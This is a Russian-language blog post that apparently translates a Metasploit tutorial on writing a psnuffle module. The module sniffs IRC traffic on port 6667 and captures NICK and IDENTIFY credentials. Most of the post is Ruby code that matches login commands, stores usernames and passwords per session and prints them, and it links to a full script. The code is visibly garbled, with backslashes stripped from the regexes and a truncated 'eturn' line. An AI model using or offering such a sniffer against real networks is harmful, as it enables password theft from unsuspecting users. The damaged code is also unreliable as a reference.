samedi 20 mars 2010

Пишем свой psnuffle.

Psnuffle легко расширить за счет своей модульной конструкции. Этот раздел будет описывать процесс разработки модуля снифера под IRC (Internet Relay Chat) с уведомлением сообщением.

Расположение модуля.
Все модули находятся по пути data/exploits/psnuffle. Имена модулей соответствуют названию протокола. Для разработки нашего собственного модуля, взглянем на важные части существующего модуля POP3 в качестве шаблона.

План определений :

self.sigs = {
:ok => /^(+OK[^n]*)n/si,
:err => /^(-ERR[^n]*)n/si,
:user => /^USERs+([^n]+)n/si,
:pass => /^PASSs+([^n]+)n/si,
:quit => /^(QUITs*[^n]*)n/si }

Этот раздел определяет особенности экспрессии, которая будет использоваться во время снифинга и находить интересные данные. В начале регулярные выражения выглядят очень странно, но сами по себе они очень мощны.

self.sigs = {
:user => /^(NICKs+[^n]+)/si,
:pass => /b(IDENTIFYs+[^n]+)/si,}

IRC секция будет выглядеть как та секция выше. Я знаю, не все nickservers отправляют идентификацию в сообщении паролем. Но как минимум один это делает точно. В нашем примере :)
Секция определения.
Для каждого модуля мы должны сначала определить, какие порты он должен занимать и как сессия должна отслеживаться.

eturn if not pkt[:tcp] # We don't want to handle anything other than tcp
return if (pkt[:tcp].src_port != 6667 and pkt[:tcp].dst_port != 6667) # Process only packet on port 6667

#Ensure that the session hash stays the same for both way of communication
if (pkt[:tcp].dst_port == 6667) # When packet is sent to server
s = find_session("#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}-#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}")
else # When packet is coming from the server
s = find_session("#{pkt[:ip].src_ip}:#{pkt[:tcp].src_port}-#{pkt[:ip].dst_ip}:#{pkt[:tcp].dst_port}")
end

case matched
when :user # when the pattern "/^(NICKs+[^n]+)/si" is matching the packet content
s[:user]=matches #Store the name into the session hash s for later use
# Do whatever you like here... maybe a puts if you need to
when :pass # When the pattern "/b(IDENTIFYs+[^n]+)/si" is matching
s[:pass]=matches # Store the password into the session hash s as well
if (s[:user] and s[:pass]) # When we have the name and the pass sniffed, print it
print "-> IRC login sniffed: #{s[:session]} >> username:#{s[:user]} password:#{s[:pass]}n"
end
sessions.delete(s[:session]) # Remove this session because we dont need to track it anymore
when nil
# No matches, don't do anything else # Just in case anything else is matching...
sessions[s[:session]].merge!({k => matches}) # Just add it to the session object
end

Скачать полный сценарий можно отсюда http://www.offensive-security.com/metasploit-unleashed/UserFiles/File/irc.rb.

Э_L_A_Y c brutforcer.ru

Aucun commentaire:

Enregistrer un commentaire